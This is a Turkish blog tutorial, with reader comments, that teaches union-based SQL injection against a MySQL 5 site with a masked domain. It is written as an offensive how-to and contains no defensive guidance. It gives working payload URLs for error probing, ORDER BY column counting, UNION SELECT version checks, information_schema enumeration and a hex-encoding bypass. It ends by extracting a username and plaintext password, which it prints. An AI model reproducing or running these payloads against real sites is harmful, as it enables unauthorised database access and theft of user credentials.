MySQL Injection Nedir ve Nasıl Yapılır?

Teknolojinin gelişmesi ve kullanılabilirlik açısından daha kolay sağlanması için uğraşlar sürüyor. Öte yandan güvenlik olarak en önemli kuruluşlar bile bazen çaresiz kalıyor. Bugün sizlere anlatmak istediğim konu MySQL Injection Nedir ve MySQL Injection Nasıl Yapılır? ve Mysql Versiyon 5 için SQL Injection’un nasıl yapılacağıdır. Son zamanlarda, bypass yöntemlerinden ve diğer SQLi açıklarından bahsedeceğim. Umarım vereceğim bilgileri faydalı bir şekilde kullanırsınız.

SQLi Nedir ? Nasıl Çalışır ?

Sitenin kodlama aşamasında dikkate alınması gereken bir konu diyebiliriz.Yapılan SQL sorgularını filtrelemeden geçirmeden direk GET,POST,REQUEST değerlerini alıp yazdırmak daha sonradan dışarıdan verilen bir SQL komutu sistemi tetikleyerek sorguyu başarılı bir şekilde gerçekleştirir. Var olan veritabanından gerekli kullanıcı bilgilerini vs. çekerek amacına ulaşmış olur.

#mySQL Injection Başlıyor.

Öncelik olarak yapılması işlemlerden biri ise siteye hata verdirmektir. Bir sitede hata varsa açık kapı var demektir. Herhangi bir bypass yöntemi uygulamadan direkt olarak nasıl yapıldığından bahsedeceğim. Bypass için ayrıca bir konu açmayı düşünüyorum.

*****.com test edeceğimiz hayali sitemiz olsun.

Site:

http://www.*****.com/disp_prod.php?prcaid=130

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130’a

var olan sitenin sonuna ‘a ekleyerek siteye hata verdirmeye çalıştık. Ve karşımıza böyle bir hata kodu çıktı:

Syntax error or access violation: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’a’ at line 1

Bu demek oluyor ki biraz daha zorlarsan şifreleri sana vereceğim. 😀

Vakit kaybetmeden sitenin kolon sayılarını deneyelim bunu nasıl yapacağız derseniz.

sitenin sonuna “ order by 1 ” ekleyerek devam edeceğiz. oradaki 1 sayısını site hata verene kadar arttıracağız yani “ order by 2 ” , “ order by 3 ” gibi enterladığınızda %20 olarak ekleniyorsa boşluk yerine + işareti koymanız URL’in okunabilirliğini arttırır.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 order by 6

Hatamızı 6. satırda aldık buda demek oluyor ki kolon sayımız 5 yani onun bir altı, hemen listeleyelim.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,3,4,5

Siteyi post ettiğimiz zaman sayfa değişecektir,karşıma 3 sayısı çıktı. Şimdi yapmamız gereken şey version kaç olup olmadığınız kontrol etmemiz. Bunu da şu şekilde yapıyoruz.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,@@version,4,5

ister “ @@version ” isterseniz de “ version() ” ikisinide kullanabilirsiniz. Ben @@version olanını kullanmayı tercih ediyorum.

Output:
5.1.63-community-log

Versiyonumuz 5 konu anlatımımıza uyuyor. 😀 Bu arada diyebilirsiniz ki version4 ile version5 arasındaki fark nedir? Arasındaki fark version4 de tablo isimlerini vs kendimiz deneme yanılma ile bulmamız gerekiyor. version5 te ise böyle bir derdimiz yok.

Database ismini görmek için: database() komutunu kullanabilirsiniz.

Şimdi devam edebiliriz diye düşünüyorum. Şuan yapmamız gereken şey tablo isimlerini bulmak hemen deneyelim.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()

Output:
announcement,banad,category,network_sale, news,news_lang,pages,products,

productsizes,queries,sizes,users

Yavaş yavaş kilidi çözmeye başlıyoruz. tablolara bakıyoruz işimize yarar ne var diye ben “ users ” tablosuna bakacağım. Hemen bakalım.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name=users

Burada hata alabilirsiniz o yüzden ufak bir bypass yönteminden bahsedeceğim. vermiş olduğumuz table_name=users deki users i hex kodu ile encode edip başına 0x koyalım.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name=0×7573657273

Output:
user_id_pk,user_name,user_login,user_pwd

Evet, kolonlarada ulaştığımıza göre sıra geldi verilere ulaşmaya bunun için yapmamız başa dönmek yani;

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT 1,2,3,4,5 FROM users

diyerek users tablomuzdaki kolonlara ulaşmaya çalışalım 3 numaraya user_id_pk  dedik ekran çıktısı değişti ve 1 oldu oraya ise user_login yazalım baktınız hiç bir değişiklik yok user_id_pk yi 1 numaraya yazarak user_login i 3’e yazın yani uygulamasını yaparsaksa:

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT user_id_pk,2,user_login,4,5 FROM users

Output:
sharman

Şifreyi alalım.

Code Inj:
http://www.*****.com/disp_prod.php?prcaid=130 UNION SELECT user_id_pk,2,user_pwd,4,5 FROM users

Output:
Sharman#11777

Yani burada şair demek istiyor ki:

Kullanıcı Adı: sharman
Şifre: Sharman#11777

Umarım faydalı olabilmişimdir. Soru sormak isteyenler konu altına yazarlarsa elimden geldiğince cevap vermeye çalışacağım.

Güvenli geceler 🙂

3 Yorum yapılmış
  • ErcanMedya
    5 Ağustos 2015

    Ercan medya olarak başarılarınızın devamını dileriz 🙂

    Cevap yaz
  • ercan mercan
    1 Ağustos 2017

    teşekkürler hocam 🙂

    Cevap yaz
  • tansiyon hakkında her şey
    18 Nisan 2019

    bu kadar basit ise her sitenin ele geçirilmesi de basittir. elbette önlem almanın yolları mevcuttur ama hangi birini ve nasıl?

    Cevap yaz
Yorumunuz?